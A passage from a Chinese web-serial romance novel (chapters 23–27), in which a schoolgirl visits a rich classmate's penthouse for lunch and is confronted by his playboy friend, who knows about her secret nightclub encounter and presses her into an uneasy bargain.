有次他们三人去原始森林度假,途中迷路跟导游失了联。步宸居然在语言不通的情况下,靠比比划划把当地穿着兽皮的女酋长哄的心花怒放,派人送他们回了营地。
江翊皓揶揄:“就你厉害,天下就没有你搞不定的女生?”
“当然,”步宸扬起的眉梢搭打了个不易察觉的转弯,眼神笃定,“有我为你保驾护航,你就知道什么叫天下最完美的约会。”
江翊皓隐隐觉得有些不妥,一想到阮柠怯生生的脸,咬牙道:“行,就你吧。”
23. 第 23 章
阮柠捂住嘴,通讯软件对话栏最上方突然出现一个白头像,系统显示“对方已经添加您为好友”。
柏星邈加她好友了。
听说整个群里加了柏星邈好友的不过2、3个人。阮柠背脊顿时像窜过一道电流,手心的屏幕仿佛在发热,“对方已经添加您为好友”像开了闪亮特效,每个字都在她眼里发光。
阮柠哆嗦着飞速翻开自己的表情包,看看有什么合适的赶紧趁热打铁发过去。
她怎么选都觉得不满意,这个表情包不够可爱,那个表情包有点过时,正烦恼发哪个作为两人开场第一句话时,柏星邈先发来一句话。
【你认为我们存在的世界是真实的吗。】
阮柠手指停在屏幕上,嘴角抿成一条平直的线。
这个问题她在高一玉玉的时候躺在病床上思考过无数遍,那时候她整夜睡不着,时常分不清自己是醒着还是睡着。
医生劝她要学会放过自己,她的痛苦一部分是源于脑海中一遍遍回溯,不去回忆便能从痛苦中走出来。如果她一直想,高一的阴影便化为了真实的皮鞭、枷锁,不管走到哪里都能笞打她的身体和心灵。
阮柠删掉刚刚选好的表情包,认真打了一段文字。
“我曾经看过一个古代哲学家做这样的假设,假设有一群原始人背对着篝火坐在山洞里,他们只能看前方的墙壁永远不能回头,假设火光将它们身后的野牛、野兔、还有其他野人活动的影子投射在墙壁上,他们从没离开过洞穴、看到过外面的世界,这些影子便成了他们认知中唯一真实的事物。所以我们所认为的真实的世界会不会是虚幻的影子?”
这么长一段话,既不符合陌生人第一次招呼的客套,又抽象虚无让人摸不着头脑。阮柠打完后,忐忑地等待着对方的回复,但她并不后悔。
不知道为什么,她感觉柏星邈像一面缄默洞明的镜子,在他面前所有伪装无所遁形,阮柠索性展示真实的自己。自从她生病后脑子总有些稀奇古怪的念头,她不敢跟别人说跟不敢跟爸妈说,但又在一个人的时候不由自主地跑出来,质问她的心。
阮柠也想有个有智慧的人给她答案,柏星邈恰好符合她的标准。
不过她是不指望高高在上的柏星邈能理睬她的胡言乱语,她这么做无非是想像柏星邈暗示自己对他很诚实,毫无隐瞒。
白头像沉默了片刻,意外回了一段差不多长度的文字。
“人类对世界的感知本质源于身体的感官。人类看到的所有东西,不过是物体反射的光线进入眼中,转化成电信号被大脑处理后的结果。”
“但是每个人加工处理信息能力不同,有人看到红色或许在别人眼里是绿色,其实都是大脑的‘幻想’。”
阮柠眼底突然亮起一道光,放大屏幕反反复复品读。
柏星邈居然没有嘲笑她,也没有无视她,而是认真交流她的提问。阮柠有种找到同类的惊喜,身子忍不住微微战栗。
“那你觉得我们的世界是真实的吗?”她立刻追问。
白头像又是一阵沉默。
“如果世界是真实的,我希望它是虚假的。”
阮柠没太明白对方想表达什么,但是她此刻大脑已经被找到同类的兴奋占据。虽然还有几天才到江翊皓的约定之日,她已经迫不及待去亲眼见见这位素未谋面的知音。
阮柠盼星星盼月亮,终于到了约定的周末,她大早上起来就忙着认真打扮。邱燕欣喜女儿总算开窍,帮她整理好衣服高高兴兴地送她出门:“玩的开心点别急着回来,大不了叫你爸去接。”
阮柠羞赧又无奈地挥手叫妈妈快回去:“老妈你别乱说,我就是和同学吃个饭而已。”
“记得少吃点,注意形象。”邱燕笑着挥手跟女儿告别。
大概快12点的时候,阮柠的车缓缓驶进塔伦天空塔。
街道两旁繁华的街景和街上一身名牌的有钱人看呆了阮柠,手心微微发汗。
这里空气中都带着钱的气息。
虽然进来一路都很顺利,但总有无处不在的细节提醒着她的外来者身份。
江翊皓家的仆人就是其中之一。
阮柠的车刚一停下,恭候在正门口的仆人几乎一眼认出她,体贴地为她打开车门接过她的礼物,告诉他少爷正在楼上准备,请小姐海涵。
全过程礼貌克制,保持了服务者恰如其分的隐身,让阮柠极大程度减少了陌生人第一次见面的压力。
阮柠懵懵懂懂下车,脚落到天空塔正门的红色地毯上,地毯柔软厚实,像踩在云层般绵软。原来即使生活在同一个星球,穷人与富人对地心引力的感知也是不同的。
阮柠跟着在仆人后面不敢乱瞟,进门先穿过一个高几十米的巨大水幕,才进入到金碧辉煌的入户大厅。
前台站着一排身着制服的高挑美女,化着精致隆重的妆容,乍一看还以为是电影明星。她们见到阮柠远远走来,一齐露出优雅标准的笑容,犹如万紫千红同时盛开,美的阮柠心头一颤。
阮柠全程脑子晕乎乎的跟着仆人进了电梯。阮柠看到密密麻麻的楼层按钮瞳孔微震,这栋楼居然有130层。
一般来说高层豪宅住的越高价格越贵,阮柠嘀咕得多富才能住130楼呀。
当仆人淡定地摁下130层,阮柠眨了下眼睛,现在知道了。
电梯叮一声打开。
“阮小姐,请。”仆人礼貌提醒。
阮柠猛然回神,正对上江翊皓抱着胳膊斜靠在玄关坏笑。楼层是入户电梯,开门便是主人家中。江翊皓今天穿了件浅灰居家衬衫,斜着身子靠在奢华旖丽的玄关前,身材优越修长,多了一分家居的闲适亲和。
他本来笑着等电梯,看到自己突然眼神顿住。
阮柠急忙问:“怎么了?我穿这身不合适吗?”
“没、没什么,挺好的。”江翊皓眼中滑过一丝不自然,挠挠后颈,勾出一抹捉狭的笑意:“欢迎子涵同学大驾光临。”
阮柠面色羞红,知他在调侃自己,吃瘪地闭上嘴巴。
她今天穿了一款米色风衣配长靴,风衣是邱燕在时装周上花重金买的,一直没舍得穿,她陪女儿一遍
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遍试衣服最终选定了风衣。阮柠有些犹豫会不会太隆重了,邱燕拍板:“这套好,别的都比不上这套。”
可从现在江翊皓的眼神的看,好像不应该听妈妈的话。
阮柠不好意思地从仆人手中接过礼物,红着脸拿给江翊皓:“这是送给你的,里面是无糖低卡曲奇,谢谢你的招待。”
a国人喜食甜品,一般去别人家里做客都会习惯性带上一份小点心。阮柠考虑到江翊皓的节食计划,特意做了一份健康无糖的饼干。
江翊皓说了声谢谢,中指勾起精致的礼盒,刚好触碰到点心盒上少女微曲的裸粉指尖,眼皮浅浅跳了一下。
“想喝点什么?果汁、气泡水、咖啡、茶还是威士忌?”江翊皓漫不经心转走向客厅,为身后拘谨的客人带路,海里一直回放着刚刚电梯打开门的画面。
电梯里突然出现一个穿着风衣长靴的女孩,他惊住了,确认再三才看出来是阮柠。
她今天穿了一件淑女风衣,露出细长匀称的腿,头发微卷扎起,皮肤莹白透粉。点漆似的黑眸转来,像一片明艳的枫叶缓缓悠悠飘落在他的心湖上。
他不想自己显得自己太大惊小怪,按照步宸的指示简单打个招呼。可他的心此刻好像长在后背上,完全贴着身后的人在跳动。
阮柠觉得江翊皓今天好像有些奇怪,又说不出哪里变了,忐忑不安道:“清水就好了。”
“只喝白水吗,要不要试试我做的秋日特调。”江翊皓稍稍偏过头,依旧漫不经心。
这道特调也是他跟步宸学的。听步宸说,只要上喝过的女生都会爱上,叫他进门就拿出来,一定会令阮柠印象深刻心情大好。
“唔,好的。”
阮柠没再坚持,听从了主人的建议。
进入客厅那一刻,阮柠努力咬住嘴唇不叫出声来。
巍峨壮观高楼大厦和渥依河像幕布似的展现在自己眼前,如此辽阔壮观的高空城景,她只在游戏里见过。
豪宅又大又空旷,她甚至每走一步能听到远处传来的回音。
室内设计很新潮,客厅中央不是吊着传统的水晶豪华大吊灯,而是一群纸片状的白鸽,颇有艺术气息。一看就是花重金请名牌设计师精心打造的宅邸。
阮柠缩紧脚步,生怕碰到了自己赔不起的东西。
她左瞧右瞧屋里除了江翊皓好像没看到柏星邈的身影,不禁小声问了一句:“那个,请问就我们两人嘛。”
江翊皓脑海里闪过什么,望着阮柠真诚的眼神思绪飘远。
其实听到阮柠主动要来找他玩时,他心里是极高兴的,只要她愿意来什么条件他都愿意答应。可是听说她想带柏星邈一起玩后,江翊皓慢慢心里不是滋味了。倒不是说他嫉妒柏星邈,他太了解邈了,绝对不可能有女孩子看上他。
只是,他就想跟阮柠两个人好好吃一顿饭,享受只有他们两个人的时光。
江翊皓微微一笑:“今天邈没空,我请了另外一个朋友。”
阮柠不解。这时候门锁响动,江翊皓下巴轻抬起笑道:“他来了。”
24. 第 24 章
正门远远发出清脆的电子解锁音,阮柠昂着头探过去,霎时呼吸停滞,眼前像落下一道黑幕,全身坠入冰冷深渊。
来的人不是别人正是步宸!
步宸今天穿了一件休闲衬衫,耳后倒别着墨镜,熟稔地靠着墙接受佣人换鞋,一身不羁痞性让她瞬间回到了昏暗淫靡的的酒吧。
阮柠笑容凝在脸上,双肩窣窣发抖。如果可以,她情愿现在从130楼跳下去消失的干干净净。
怎么会是步宸,不是柏星邈呢?阮柠急的快要支撑不下去。
她喉咙间像哽了一团棉花,眼眶泛红地向江翊皓投去委屈一瞥,事情一旦暴露,他们一定会自己是故意勾引他们兄弟,是个浪荡下流的坏女人。
江翊皓没察觉阮柠的恐惧和委屈,反而兴奋地拉她过去迎接步宸。
“阮柠,这位是我从小一起长大的好朋友,班庭公爵家的大公子步宸。你叫他阿步就好。”
“今天咱们有口福了。我朋友本来在国外度假,今天一大早亲自潜到只有10度的高纬地区专门捞冷水海鲜给咱们吃。海鲜从捞出来到咱们餐桌上全程不超过3个小时,特别的新鲜,你中午一定要多吃点。”
步宸晃晃悠悠走过来,老远扬长着笑声:“阿皓,你小子磨磨蹭蹭总算把贵客请进门了。还不介绍我认识。”
“她就是我跟你说的阮柠。她跟咱们一样也是伊雅的学生。”
步宸戏谑望向瑟缩在江翊皓身后的女生,呼吸突然一窒,满脸的笑意眨眼化成一湖寒冰彻骨的深潭。
“伊雅的……学生……阮柠?”
步宸眉头尖簇,嘲讽的嘴角弯起,牙缝中挤出几个字。
阮柠脑袋轰地一下,脸色惨白如纸,背过身避开步宸的寒冽的眼神。
“对,咱们三人说起来还是校友,你说有缘不有缘?”江翊皓笑着拉拉阮柠,叫她别害羞。
他走到两人之间,大大方方介绍:“我跟你说过,她来基地看过我几次,也很支持我踢球……”
步宸一个字也没听进去,琥珀眸危险地眯起,每一处犀利英俊的轮廓线条都蕴藏着锋利寒意。
她今天穿着一袭浅色风衣,腰间的蝴蝶结束出纤细的腰线,身姿婀娜动人。墨色长发挽到一边,整个人清新雅致甜美动人,如同一株含苞待放的铃兰,与夜店判若两人。
步宸喜欢新鲜刺激信、奉及时行乐,所谓的欢愉不过是男女一时激素上头,所以他从不在乎任何女人的去留。
那晚阮柠不告而别成了第一个从他房间逃走的人,也成了步宸心里的一根刺。偶尔想起心里便像有片看不见的碎玻璃渣子在搅动,刺刺麻麻。
他不在意任何人的去留,自然也不会破例去找一个来路不明的女人。一度短暂春宵的阮柠便成了过眼云烟。
这段时间属下见他脸色阴沉,总问他是不是身体不舒服。他并不觉得哪不舒服,直到看到阮柠的那一刻才感到胃部隐隐传来灼烧。
她竟然是兄弟口中心心念念的胸针主人,为了今天中午的聚餐,他国内国外四处奔置办,一想到她是自己精心策划取悦的人,步宸感到莫大的讽刺。
“哦,阮小姐是吗。”
步宸保持着豪门公子的风度微微欠身问候。女士没有提手之前,他不会冒然伸手以免对方觉得冒犯,这是社交的基本礼仪。
阮柠被他强大的压迫感慑住,低着
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头,手臂像灌了铅,蜷了蜷手指,愣是抬不起来。
江翊皓温柔调侃道:“子涵,叫你呢。”
他贴着阮柠发红的脸颊小声提醒了一下:“打个招呼吧,你不要紧张,他是我朋友人很好的。”
步宸皱眉,他看着江翊皓俯下身子,嘴唇凑到阮柠耳边有些碍眼。
“想必阮小姐是第一次见到我,有些紧张吧。”
阮柠猛地抬起头,对上步宸似笑非笑的眼睛。明明是一双浅色的瞳眸,生气起来竟然可以发出黑洞洞的深色,仿佛能把她吸进去。
她颤颤巍巍伸出手:“你好。我叫阮柠。”紧接着猝不及防说了一句,差点咬到自己的舌头:“不好意思,我突然有些不舒服,我先回去了你们慢慢玩。”
江翊皓上去拉她:“哎,你才来屁股还没坐热急着走啥,饭还没吃呢。”
阮柠面色苍白挪开江翊皓的手背,声音微微颤抖:“对不起,我是真的不舒服。”
这一幕被步宸捕捉入眼中,幽暗的眼神破冰而出一抹浅浅的暖意。
“今天的聚餐是我一手操办的,小姐不留下来细细品尝吗,毕竟机会难得。”
他不紧不慢发出了自己的邀请,这在阮柠看来却是恐慌至极。她不明白为什么步宸一会儿脸阴沉的能杀人,一会儿又神色和悦。
她只知道,自己再不走就死无葬身之地了。
阮柠慌忙抽身,绕过两人身侧奔向大门:“对不起我是真的不舒服。”
步宸一步拦住她的去路,极富侵略性的眼神在她脸上来回扫荡,用只有他们两人才能听到的声音轻喃。
“你也不想江翊皓知道你背地里干了啥吧。”
25. 第 25 章
步宸唇角绽开一抹暧昧幽暗的浅笑,阮柠知道他肯定把自己当成故意接近他们的捞女了。
她的心像被一只无形的手攥住捏压,委屈地生疼:“步少爷说笑了,你认错人了吧。”
“可我看你很面熟,小姐对我一点印象也没有吗。”
步宸抱着胳膊凝视着她,修长的手指在肘关节上优雅展开,皮肤白皙的手背青筋凸显,手指骨节分明。
“你到底想怎样。”阮柠咬着嘴唇。
步宸看她生气像小猫跳起来挠了一爪子,严峻的眉梢染上一丝笑意。
“不干什么。这里上天入地精心为你准备了一天,你看都不看眼一眼就走人,未免太无情了。”
阮柠转过头,高挺的鼻梁显出一股倔气。
这时江翊皓追过来,担心地围着阮柠查看了一番,声音放低了几度:“你哪里不舒服,我叫医生来替你看看。”
阮柠对上江翊皓明亮纯净的眼神,心中百般情绪交杂,最后恳求道:“我没事,你就让我回家休息吧。”
虽然江翊皓期盼了约会许久,但他更担心阮柠的身体,尤其看到她突然脸色惨白、身子??发抖,脑海里两股念头在打架。
最终担忧心疼还是战胜了私念,江翊皓叹一口气:“好吧,我派人送你回去,不过走之前先让我的医生看看。”
阮柠感激地望了他一眼。
步宸的声音突然从身幽幽响起:“或许我知道阮小姐哪里不舒服,让我瞧瞧。”
阮柠这时想把步宸刀了的心都有了。
现在还差一个任务,两人都跟柏星邈有千丝万缕的联系,越是紧张越是不能轻举妄动。阮柠想,反正伸头是一刀,缩头也是一刀,随它去吧。
阮柠身子像泄了气的皮球,挤出一丝笑容:“既然大家为我准备了这么丰盛的宴席,我还是吃一口再回去吧。”
“好!这就对嘛。”江翊皓脸上顿时露出灿烂的笑容,忙不迭走在前头引路,叫下人们准备开席,“今天有好多好吃的的,你要没吃着怪可惜的。”
阮柠身心俱疲地走进餐厅,步宸压轴最后慢慢踱步。
江翊皓家有七八个餐厅,午宴选在了视野最好的一间。餐厅靠近渥依河,从大落地窗望去窗外就是摩天大楼与静美流波渥依河景。
阮柠感叹去高档餐厅预约才能享受的绝美风光,有钱人天天在家就能看到。
餐桌布置的很漂亮,按高档餐厅的规格摆着精美的银餐具,清新素雅的鲜花点缀在一众华丽的餐具中中和了繁盛隆重,显示出朋友聚会的闲适俏皮。
由于江翊皓有严格的饮食限制,中午选择了自助烧烤,大家自行选择自己喜欢吃的,丰俭由人。
佣人们从厨房端来一盘盘洗干切好的蔬菜、水果、肉类、调料,分门别类摆在餐桌上,像大型宴会的豪华自助餐一样令人眼花缭乱。甚至老远就闻到了瓜果蔬菜的清香。
阮柠完全没有享用美食的心思,随便找了张椅子坐下,江翊皓立即笑眯眯地帮她拉开椅子:“请——”
阮柠低声说了声谢谢,瞟到桌上一个精致玻璃旋转木马,不解地问:“这是什么?”
旋转木马只有花瓶大小,里面各区域中空相连,高超的玻璃切割、刻蚀工艺塑造的栩栩如生,透明的玻璃阳光下发出钻石般璀璨的光芒。摆件不像摆件,玩具不像玩具,但能看的出是有钱人才玩的起的东西。
江翊皓颇为得意:“你猜猜看。”
这是他计划的一部分。
江翊皓按照步宸的指示精心设计了餐厅布置,菜单酒品,还特意摆放了一个玻璃旋转木马。
步宸告诉他陪女主吃饭最重要的是氛围,光菜品好不行,还得带些有趣的东西才能令她们印象深刻、逗她们开心。
目前看阮柠满脸新奇的样子,策略奏效了。
江翊皓面带微笑揭晓答案:“其实这是……”
“这是醒酒器。”步宸云淡风轻地打断,阮柠闻声转过头,步宸拿出一瓶红酒倒进旋转木马,猩红的酒液瞬间染红透明玻璃壁。
江翊皓眉毛竖直,半晌没说话。步宸若无其事地拉过阮柠的手将她摁在旋转木马底座下一个小凹槽上。
阮柠手背接触到冰凉的触感,正想抽回,旋转木马竟然盛着一腔酒红的陈酿飞速旋转起来,飞舞的酒液
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像舞女飞舞的裙边张扬摇曳,像一个精美绝伦的玩具。
阮柠睁大了眼:“这也太神奇了吧。我只见过自己会转的醒酒器,没见过这么精致漂亮的。”
江翊皓还没接话,步宸说:“回头送你一个。”
阮柠连忙说不用破费了,睁着黑曜石似的大眼睛盯着旋转木马入了迷。
江翊皓拉过步宸咬牙质问:“你刚才在做什么?你不是来帮我的吗?”
步宸看了他一眼:“你不是想让她开心吗。”
江翊皓不想惊动正在兴头上阮柠,抛开步宸,生气地夹了一块牛排放到烤盘上:“先吃菜吧。”
牛肉是上等的极品雪花牛,厚实紧致,红白相间的雪花纹理令人垂涎欲滴。一放到烤盘上肉质滋啦滋啦冒响,飘出油厚奶香。
阮柠闻道香味抬起头来:“这又是什么?好香啊。”
江翊皓单手叉腰,翻了个面:“这是我们自家农场养的牛,天天听音乐喝啤酒长大,它一辈子做的马杀鸡比我还多。”
阮柠大开眼界:“是吗,真厉害。这一看就是很好的牛肉呀。”
江翊皓微微一笑:“算你识货。”
步宸眉头簇起:“菜单上原本写着先烤海鲜。”
阮柠闻言转过去,看见步宸推来一盘肥美紧致的巨型蓝色斑纹龙虾送到自己面前。
“这是我大早上专门从碧玺湾捞上来开私人飞机送来的龙虾,正宗的冷水海鲜,肉质清甜。它从出海到上桌不超过3个小时,你尝尝。”
阮柠不可置信地看着张牙舞爪的摆盘龙虾,问了一句:“全程不到3个小时?”
江翊皓见阮柠被吸引了去立马大声道:“牛肉难熟,当然应该烤。”
步宸说:“巧了,我带的龙虾是刺身级别,切开就可以直接吃。”
阮柠望着两边都是人间美味,不知道目光该放在哪里好。而且隐隐感觉两位少爷在争什么,都希望自己先吃他们的食物。可她一个吃饭囚徒哪说的上话。
忽然,两人目光同时望向阮柠。
“阮柠,你想先吃哪个?”
“阮小姐,你想先吃哪个?”
26. 第 26 章
佣人们推着餐车过来上菜,手上有条不紊地摆着盘子,眼角都在偷瞧餐桌上的人。他们在府里工作了几年,第一次见这么美的画面,咋一看还以为是拍偶像剧。
阳光透过大落地窗洒进浪漫典雅的窗边餐厅,少爷和步少爷一左一右坐在一个姑娘身边。
两位少爷一个阳光帅气,一个风流蛊惑,坐在中间的姑娘更是娇艳动人,三人坐在一张餐桌上就像是艺术长廊里的油画,一举一动都美的让人挪不开眼。
他们当中大部分其实都在偷瞟阮柠。
一个星期前,府里传少爷要请传说中的胸针主人来家里做客,下人们都疯了,抢着来做平时最不愿意做的上菜。
人们都清楚胸针主人在少爷心里的位置,这是又是少爷第一次请异性来家里做客,反复排练了几次才确定了人选,只有最专业最优秀的佣人才配给主人上菜。
刷下来的人们也没闲着,自阮柠进门后远远躲在后厨伸长脖子一睹她的芳容。
“这就是蜻蜓的主人,长的好美啊。”
“不美怎么能让少爷惦记一个多月。你们知道吗,这次食材都是捡全世界最好的。直接从原产地空运过来,光运费就花了几十万。”
“真了不得。我看呐,这位小姐完全不输步少爷的那些明星网红。”
“要不是家里有规定,我就偷拍一张了,他们三个在一起简直太养眼了。”
“养眼归养眼,你们觉不觉得餐厅气氛有点怪吗,两位少爷都不大高兴似的。”
“糟了,不会是咱们的菜出问题了吧?”
“不会吧?!这时候出错可不是闹着玩的。”
“叫你们别偷懒,都回去重新检查。今天要是出了一点纰漏,你们全都吃不了兜着走。”
身处八卦中心的阮柠并不知道自己远远被人议论着,只知道阮柠对面两个人自落座后就暗戳戳的比这比那,她一句话也不敢多说。
江翊皓加大火力迅速煎好牛排盛出来。厚实的谷饲牛排煎的两面焦褐喷香,中间露出鲜嫩的玫红肉色却没有一丝腥味,刀轻轻切过,立刻流淌出鲜香扑鼻的肉汁。
江翊皓像五星大厨一样站在阮柠对面,细心替她切成一块一块的小方块,刚好一口一个吃得满足又不会难以咀嚼。
“你太瘦了,要多吃肉补补。这是我们家的有机农场的谷饲牛肉,比市面上任何一种牛肉都好,我们家一年也才养几十头牛,外面吃不到哟。”
江翊皓话音刚落,提起醒酒器倒了一杯红酒,一起推到阮柠面前:“红酒配红肉,正好。”
阮柠虽然没什么胃口,还是礼貌性地提起叉子,说了声谢谢。
步宸忽然站起来把调好的海鲜汤推过来,慢条斯理道:“阮小姐身体虚弱,先应该先喝汤养身健脾,红肉太过油腻,晚点吃也不迟。”
今天的海鲜由步宸一手包办,都是他从碧玺湾带来的海鲜珍品。
碧玺湾是世界有名的峡湾度假区,每年冬天有世界各地的富豪去泡温泉、滑雪。当地冰川水养育的帝王蟹、三文鱼更是海鲜中的极品,美味纯天然无污染,是不可多得的美味珍馐。
海鲜汤是用班庭家的秘方熬制的,色泽奶白滋润,冒着热气,光看一眼就能想象到一口下去浑身温暖幸福的感觉。
步宸不动神色地递了只精巧的银勺摆在阮柠右手边:“你现在身子不舒服,吃点海鲜白肉才好消化是不是。”
阮柠低着头没有说话。银勺反射出步宸神秘暧昧的笑眼直勾勾看着自己,阮柠羞赧地转过头。
餐厅陷入尴尬的沉静。
江翊皓无比后悔今天喊了步宸,说好来帮忙,结果处处拆台添乱,还不如当初叫柏星邈。
他不想当着阮柠的面失礼,舔了舔腮假笑道:“你不要干扰阮柠做决定,她爱吃什么吃什么。”
步宸挑了挑眉:“可是阮小姐身体已经不舒服了,我们应该多替她的健康着想才是。”
步宸语调优雅淡然,转过头送给了阮柠一个和煦温暖的微笑。
阮柠浑身立即冒出一层鸡皮疙瘩。
虽然她没有胃口,两个都吃不下,但今天的架势她不选一个两人绝不会善罢甘休。
江翊皓亮起乌黑亮晶晶的眸子,声音忍不住夹了起来:“我们两个先认识,你一定会先吃我的对吧。”
“阿皓,你刚刚说了不要干扰阮小姐做解决哦。”步宸挑了挑眉,又转过来带点警示性地朝阮柠笑了一下,“对吧,阮小姐。”
“呃……”阮柠被两道沉甸甸的目光压的说不出话来。虽然江翊皓的房子有一千多平,但她像被关进了半只脚掌大的牢笼般绝望窒息。
她甚至觉得自己只要答应其中一位,另一个肯定会勃然大怒,把当场她丢下130层。
两个人都期待着她的答复,到底该怎么抉择,阮柠头疼欲裂。
“我……”阮柠缓缓张开干涩的喉咙,江翊皓顿时提起身子,全神贯注听她说话,步宸桃花眼轻轻下阖,也在听阮柠
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讲话。
两人的期待形成巨大的气场,压的她喘不过气,阮柠突然身体一虚:“那个我突然想去洗手间一下,对不起。”
说罢,她匆匆离开座位。
“什么意思啊你。”江翊皓起身去追,这时电话铃响了,是公爵夫人杜越打来的。
塔佩杜越晋升为公爵夫人之前,原是a国顶奢名牌玫昂的大牌设计师,是个标准的女强人,精明能干事业有成。
上任塔佩公爵突然罹难后,是她在群龙无首的情况下撑起偌大的家族,一手操办治丧、继承等重大事件,一切打理的井井有条,在江家很有威信。
“该死。”江翊皓低咒一声,摁下接听:“喂,妈……”
阮柠见江翊皓没追上来,忽然心生一计,脚步加快寻找后厨。
她记得这种豪宅的后厨一般有个员工电梯直通外面,现在步宸坐在餐厅盯着正门,她可以趁人不备从后厨偷偷溜出去。
可惜江翊皓家太大了,后厨又做的极其隐秘,阮柠迷路了几次。
好不容易看到一间疑似后厨的房间,打开门结果是宠物房。里面的三只大狗冲着她汪汪大叫,吓得阮柠立刻关上门。
她没有放弃继续摸索,忽然迎面闪过一个高大的身影把她拉入墙角抵住,熟悉又令人作呕的腔调再度响起。
“阮小姐挺有本事,差点又让你跑了。”
阮柠脖颈寒毛倒竖,颤抖着抬起双眼。步宸一手撑在她头顶把她拢在身下抓个正着,居高临下睨着她。
阮柠激烈推开他的胸膛:“放开我,江翊皓就在外面,你要乱来我就喊了。”
“哦?你是说让他们看见我们现在的样子?”
步宸偏了偏头,指向外面推着餐车路过的佣人,恶劣地笑了一下。
“还是你想让他们看见我们在撩夏的样子?”
阮柠几乎快要崩溃,她打颤的牙齿哆哆嗦嗦挤出一句话:“你说什么我听不懂。”
“不如我帮你回忆回忆?”步宸忽然盯着她的嘴唇附身贴过来,跟那晚要吻她神态一模一样。
“不要!”阮柠咬住嘴唇,眼神湿润像是随时要掉下眼泪来,“你到底要干什么?”
“离开江翊皓。”步宸清晰利落地吐出几个字。
“离开江翊皓?不行——”阮柠脱口而出,她还需要江翊皓帮她完成最后一个任务,绝对不能离开江翊皓。
步宸忽然收起了笑容,眸色阴沉的像是地狱发来的幽光:“不行?”
27. 第 27 章
阮柠眼神湿润,鼻头微微抽动,像是一只落进陷阱的小鹿,四处蹬腿踩着墙壁努力攀登,可陷阱里只有厚厚的枯叶被踩的嘎吱嘎吱作响。
“你放心,我对江翊皓绝对没有任何非分之想。别的条件我都可以答应你,唯独离开他不行。你要实在不信的话,我发誓,要是我从江翊皓那骗走一分钱我会被天打雷劈!这样你可以相信了我吧。”
阮柠说到“天打雷劈”四个字时,步宸眉尖下意识挑了挑蹙紧。
阮柠用生命起的誓并没有让强迫者满意,反而激发了他平时潜伏在身上的危险的气场。
步宸俯下身轻轻挑起阮柠的下巴,强迫阮柠直视他琥珀色的瞳眸,嗓音微哑:“不图名不图利也不愿离开江翊皓?”
阮柠的脸颊因羞耻而滚烫,呼吸短促,更多的是源自一种无奈:“我想我已经说的很明白了。步少爷,我跟江翊皓纯粹是相互尊重的朋友,完全没有一点超出友情的界限。”
步宸淡漠的表情犹如戴了一张面具,眼中没有任何波澜情绪。
虽然阮柠全然不知,但他亲眼见证了江翊皓一个月来对着蜻蜓的发怔、傻笑。
他当知道阮柠就是蜻蜓主人时,一股凉飕飕的寒气从骨头缝里渗出来。他假装镇定跟两人同桌吃饭,指节把酒杯攥出雾蒙蒙的指印。
“是吗,阮小姐对阿皓真是情真意切。”
“我的话向来不重复第二遍。”
步宸的黑压压的气场像海上暴风雨般席卷而来,阮柠睫毛止不住地颤抖,拼命躲藏却无处可逃。
阮柠觉得心好累,她已经发毒誓了还要怎样。她真不知到底要怎么做步宸才会放她一条生路,难道真要她消失在世界上才满意。
忽然,她秋水剪瞳一瞬不瞬地望着步宸,眼尾晕开一抹艳色,低哑的嗓音染上了蛊惑力:“步少爷对我似乎格外关心,莫不是对我有意思吧。”
步宸眯了眯眼,既没有肯定,也没有否认,忽然从喉咙里溢出一声低笑。
阮柠此刻与方才胆小惊恐的样子判若两人,红唇微抿带着清浅的弧度,反过身勾上步宸的脖子:“想不到万花丛中过片叶不沾身的步大少居然为我这种小人物费神,真是荣幸啊。”
步宸眼底掠过一丝错愕,似乎没想到阮柠会来这出,眼角勾起三分痞笑。
“还是阮小姐真是神通广大,白天是端庄优雅的名校优等生,晚上夜店里大放光彩。是在下跟着阮小姐长见识了。”
阮柠冷哼一声,不理他的揶揄,手指在他掌心若轻若重地画着圈圈,幽幽地吐气在他耳边呢喃:“步少爷,事到如今,我们做个交易好不好……”
周围瞬间弥漫起甜腻诱人的氛围。步宸久经情场,对女人撩拨媚术早已全盘免疫,虽然不至于像毛头小子一样面红耳赤,但阮柠勾起唇的一刻身子紧绷了一瞬。
“什么条件?说出来听听。”步宸咬着她的耳朵,语气浪荡又带着些许愉悦。
这才是他喜欢的交谈方式,既然大家彼此知根知底,不如撕下伪装坦诚相见。
两人眼神交锋的一刻,又有几个下人推着餐车路过。他们绝对不会想到,在主人富丽堂皇的豪宅一角,他们关注了一中午的两大主角正背着众人在眼不见的角落秘密私会。
“步少爷是做生意的,恰好我家也是做生意的。当然,我家小本经营不敢与您的商业帝国相提并论,做买卖的道理却是一样。无非是提个彼此都能接受的价码。我只希望步少爷高抬贵手,不要破坏我宁静的生活,别的都可以答应。”
阮柠豁出去了,既然把柄落在别人手上,对方又是步宸,何必自讨苦吃硬碰硬。步宸霸道狠戾的疯劲她是见识过的,她一个手无缚鸡之力的弱女子拿什么跟班庭公爵大公子斗。
总之先稳住这厢,等拿到柏星邈的奖赏后再作打算。
阮柠嗓音中的娇媚渐渐褪去,留下坚刚不折的底色。
步宸看着她一本正经谈判,莫名觉得可爱。
她今天穿着米色淑女大衣,洗去了浓妆艳抹的庸俗和烟花巷的污秽,气质清冷干净,只是冷傲不屈的风范倒是里外如一。
步宸峰眉轻挑,仿佛已洞悉阮柠心中所想,目光流转之间戏谑与纵容交织,又带有几分不可忽视的锐利:“我叫你远离江翊皓是为你好。准确的说,是离江家越远越好。”
阮柠回敬了一个嘲讽的眼神:“然后奔向您这位花名在外的风流富少才算安全?”
步宸轻轻一笑:“怎么不算。人人都知道我最怜香惜玉,动我无所谓,动我的心肝宝贝可不行。”
阮柠无语凝噎,世界上怎么有这么无耻的人。
“既然都没意见,我们就算达成协议了。只要你不影响我的正常生活,你提的条件,只要不太过分我都可以答应。”
步宸鼻尖猛地凑到她鼻尖,梦幻的浅瞳含笑望着她:“什么叫不太过分?”
阮柠的脸瞬间涨成西红柿,别过脸不吭声也不回答。
步宸松开她:“好好好,你说了算。”
阮柠抬起眼皮:“那你答应了?”
步宸转身起步,留给她一个潇洒的背影:“只要条约中没有任何违约行为,我自然会一直遵守。做生意嘛,最重要的是诚信。”
两人没走两步,江翊皓的声音远远传过来:“阮柠、阿步,你们去哪了?”伴随着一些下人的呼唤:“步少爷,阮小姐,你们在哪儿。”
两人相视一眼。
今天发生的事江翊皓越想越蹊跷。步宸平时对女生很少这么上心,却处处关注阮柠,好像两人原本就认识似的。
江翊皓脑海里冒出这个想法后立即打消。阮柠老实正派,从来不去不三不四的地方,怎么可能认识步宸。
